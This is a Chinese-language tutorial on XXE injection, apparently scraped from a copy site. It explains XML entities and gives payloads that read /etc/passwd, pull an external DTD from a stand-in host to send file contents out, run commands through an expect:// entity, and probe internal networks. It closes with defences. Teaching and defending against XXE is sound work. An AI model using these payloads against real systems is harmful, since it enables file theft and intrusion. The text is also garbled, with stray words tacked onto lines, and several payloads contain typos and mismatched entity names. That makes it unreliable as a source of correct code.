XXE總結

0x00 目錄

 

0x01 XML基礎

定義:一種標記電子文件使其具備結構性的標記語言,能夠用來標記數據、定義數據類型,是一種容許用戶對本身的標記語言進行定義的源語言。php

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。html

<!--XML聲明-->
<?xml version="1.0"?> 
<!--文檔類型定義-->
<!DOCTYPE note [  <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)>  <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)>     <!--定義to元素爲」#PCDATA」類型-->
<!ELEMENT from (#PCDATA)>   <!--定義from元素爲」#PCDATA」類型-->
<!ELEMENT head (#PCDATA)>   <!--定義head元素爲」#PCDATA」類型-->
<!ELEMENT body (#PCDATA)>   <!--定義body元素爲」#PCDATA」類型-->
]]]>
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTDweb

內部聲明DTD:bash

<!DOCTYPE 根元素 [元素聲明]>  

外部聲明DTD:服務器

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD中的一些重要的關鍵字:學習

  • DOCTYPE(DTD的聲明)
  • ENTITY(實體的聲明)
  • SYSTEM、PUBLIC(外部資源申請)

實體類別介紹

實體主要分爲兩類網站

1  通常實體:內置實體/字符實體/通用實體ui

2  參數實體google

舉例:
內部實體spa

<!ENTITY 實體名稱 "實體內容">

外部實體

<!ENTITY 實體名稱 SYSTEM "URI">

參數實體

<!ENTITY % 實體名稱 "實體內容">
或者
<!ENTITY % 實體名稱 "URI">

外部實體

默認協議

PHP擴展協議 

舉例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]>
<foo>
        <value>&passwd;</value>
</foo>

0x02 XXE漏洞

XXE就是XML外部實體注入。當容許引用外部實體時,經過構造惡意內容,可致使讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。

舉例

  1. 惡意引入外部實體(1)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>
        <value>&passwd;</value>
</a>
  1. 惡意引入外部實體(2)
**XML內容**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
                <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
                %d;
]>
<aaa>&b;</aaa>

**DTD文件內容**
<!ENTITY b SYSTEM "file:///etc/passwd">
  1. 惡意引入外部實體(3)
**xml文件內容**
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
                <!ENTITY f SYSTEM "http://www.m03.com/evil.dtd">
]>
<a>&b;</a>


**DTD文件內容**
<!ENTITY b SYSTEM "file:///etc/passwd">

XXE的危害

1.讀取任意文件 - 有回顯

**xml.php**

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?> 

                           - 無回顯,能夠將文件內容發送到遠程服務器,而後讀取。

**xx.xml**
<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data);

**evil.dtd**
<ENTITY b SYSTEM "file:///etc/passwd">

2.命令執行

php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

3.內網探測/SSRF

因爲xml實體注入攻擊能夠利用http://協議,也就是能夠發起http請求。能夠利用該請求去探查內網,進行SSRF攻擊。

0x03 XXE漏洞修復與防護

xmllib2.9.0之後,默認不解析外部實體的。

1.使用開發語言提供的禁用外部實體的方法

PHP:
libxml_disable_entity_loader(true);
JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 

2.過濾用戶提交的XML數據
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

 

0x04 總結

XXE的高階玩法不少,但究其原理都同樣。「千里之堤,始於足下;百丈之臺,始於壘土。」

XXE漏洞學習從入門到放棄:https://www.jianshu.com/p/77f2181587a4

XXE萌新進階全攻略:https://www.freebuf.com/vuls/194112.html

XXE進階——OOB攻擊:https://www.jianshu.com/p/be4d7d5f799c

DTD/XXE 攻擊筆記分享:https://www.freebuf.com/articles/web/97833.html

google「XXE進階/全攻略/oob(out of band)」

相關文章
相關標籤/搜索